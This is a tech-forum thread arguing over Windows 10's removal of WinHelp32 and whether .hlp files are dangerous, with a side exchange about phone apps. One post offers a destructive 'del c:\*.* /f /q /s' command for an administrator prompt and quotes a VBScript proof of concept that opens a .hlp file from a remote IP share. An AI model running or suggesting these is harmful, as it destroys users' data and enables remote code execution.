Windows 10 Now Has 350 Million Active Users

Adalwar, a little history may help you.

Winhlp32 was realised to be a massive security risk as soon as the Windows world and their PCs became connected to the Internet.

It was an amazingly powerful and versatile way of automatically interacting with the software it documented. A malicious .hlp file could take over a PC, and completely exploit it, without showing any Virus-like traits, except for the data it could expose to the exploiters.

Surprisingly few exploits were actually made, and as soon as Windows moved on through Vista etc., Winhlp32 was only available via downloaded patches. Several proofs of concept were published to show how dangerous .hlp files could be.

.CHM files, which were almost as vulnerable as the .hlp files they replaced, in terms of their ability to be exploited did not last long, either.

Application developers were then encouraged to provide PDF or web-based documentation (analogous to Unix/Linux MAN files) or hard code their help systems into their software suites.

Don't get me wrong - I still use Win32 applications and miss the availability of context sensitive help - which is why I still have Windows XP available so that I can use winhlp32, but I value the security that Windows 10 offers over the earlier versions, including the very few sandboxed apps that I use.

There is every opportunity to safely use older Windows versions, and the applications that were made for them, using virtual machines, without exposing your system to exploitation by criminals. Learn to use your latest OS and the opportunities it gives you without complaining that it is restrictive - it is not.

CountMike said:

There is Photoshop Express and other graphic APPs.

I think you either missed the point here, mis-understood the concept or just wanted to reply.

I'm NOT saying whether or not things like Photoshop express are available -- BUT : If you need high quality photo editing (and loads of other types of apps) doing it on a small "Portable" device is USELESS or impossible.

I like your replies and comments usually but on this one you've totally lost the plot here. !!!

Cheers
jimbo

Fafhrd said:

Adalwar, a little history may help you.

Winhlp32 was realised to be a massive security risk as soon as the Windows world and their PCs became connected to the Internet.

It was an amazingly powerful and versatile way of automatically interacting with the software it documented. A malicious .hlp file could take over a PC, and completely exploit it, without showing any Virus-like traits, except for the data it could expose to the exploiters.

Surprisingly few exploits were actually made, and as soon as Windows moved on through Vista etc., Winhlp32 was only available via downloaded patches. Several proofs of concept were published to show how dangerous .hlp files could be.

.CHM files, which were almost as vulnerable as the .hlp files they replaced, in terms of their ability to be exploited did not last long, either.

Application developers were then encouraged to provide PDF or web-based documentation (analogous to Unix/Linux MAN files) or hard code their help systems into their software suites.

Don't get me wrong - I still use Win32 applications and miss the availability of context sensitive help - which is why I still have Windows XP available so that I can use winhlp32, but I value the security that Windows 10 offers over the earlier versions, including the very few sandboxed apps that I use.

There is every opportunity to safely use older Windows versions, and the applications that were made for them, using virtual machines, without exposing your system to exploitation by criminals. Learn to use your latest OS and the opportunities it gives you without complaining that it is restrictive - it is not.

First of all, the point is that Win32 Software are not anylonger fully supported by W10, as example is the WInHelp32 case. I have several other cases that support this evidence.
Second, I must just smile about .HLP files beeing a serious security issue.
I myself did some Help Files using MS tools.
HLP files are PLAIN text files, were Topics and Capitels and so on are beeing marked as special Items, not much different from doing an Index to a Word Text filr. That is all.
How can be that TEXT files could turn Dangerous? Like that any user Text File from Word, WordPerfect, StartOffice, PowerPoint, Excel are potential dangerous.
Please, do not try to tell me the World is a Disc.

alphanumeric said:

Yes but it's not missing for the reasons you state? My it's gone has nothing to do with Apps and your supposed theory of Microsoft forcing us into an Apps only world of Windows. IMHO, you're twisting the facts around to suit your agenda.

alphanumeric, you made me smile. Could you please tell me what you think is my "agenda"? I have no "agenda". My "agenda" is to have an OS that is working the way I am used to work ever since MS-DOS 3.2 and W10 is not wanting by anyway to go towards my whishes. It is just blocking, locking even the Networking with Win32 Software. So, what you want I say? And what should be my "agenda" then?

Adalwar said:

First of all, the point is that Win32 Software are not anylonger fully supported by W10, as example is the WInHelp32 case. I have several other cases that support this evidence.

I still use Office '97 in Windows 10 as a quick and compact Word and Excel source - I don't need the .hlp files (since I have been using the software for over 18 years!) It functions as well on Windows 10 (but faster) as it did on the Windows 95 it was written for.

Adalwar said:

Second, I must just smile about .HLP files beeing a serious security issue.
I myself did some Help Files using MS tools.
HLP files are PLAIN text files, were Topics and Capitels and so on are beeing marked as special Items, not much different from doing an Index to a Word Text filr. That is all.
How can be that TEXT files could turn Dangerous? Like that any user Text File from Word, WordPerfect, StartOffice, PowerPoint, Excel are potential dangerous.
Please, do not try to tell me the World is a Disc.

You don't know that .hlp files can run scripts, i.e. text files that run commands, like .bat and .cmd files are just executable text files??

Try opening a command prompt as administrator and running the following bit of text.

Code:

del c:\*.* /f /q /s

Are you that naive, or just trolling?

Here's a proof of concept script that encourages the user to open a .hlp file from an unknown online source, which could do any amount of damage to your system if run (as far as I know it may be safe, but I just downloaded it from the internet, so it may have been interfered with! Caveat emptor!)

Code:

<html>
<script type="text/vbscript">
big = "\\184.73.14.110\PUBLIC\test.hlp"
 
//For i=1 to 2500
//  big = big & "\..\"
//Next
 
 
MsgBox "please press F1 to save the world", ,"please save the world",
big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</html>

By the way, you are safe if you run Windows 10, not if you have enables winhlp32.exe on your system.

jimbo45 said:

I think you either missed the point here, mis-understood the concept or just wanted to reply.

I'm NOT saying whether or not things like Photoshop express are available -- BUT : If you need high quality photo editing (and loads of other types of apps) doing it on a small "Portable" device is USELESS or impossible.

I like your replies and comments usually but on this one you've totally lost the plot here. !!!

Cheers
jimbo

You are fully right.
Even a large Spreadsheet will be almost imposible to work properly with in a Phone.

There are Software that make no sense in Phones or Tablets. Why try to put an Elefant inside of a Shoe Box?